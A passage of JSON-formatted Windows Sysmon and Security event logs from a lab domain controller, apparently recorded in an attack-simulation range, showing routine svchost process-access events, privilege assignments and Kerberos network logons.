12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:21.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:21.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222270,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B0E8\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9b0e8","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222271,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9B0E8\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t0\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x9b0e8","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"0","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222272,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9B133\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9b133","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222273,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x9B133\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t10.0.1.14\r\n\tSource Port:\t\t51521\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the 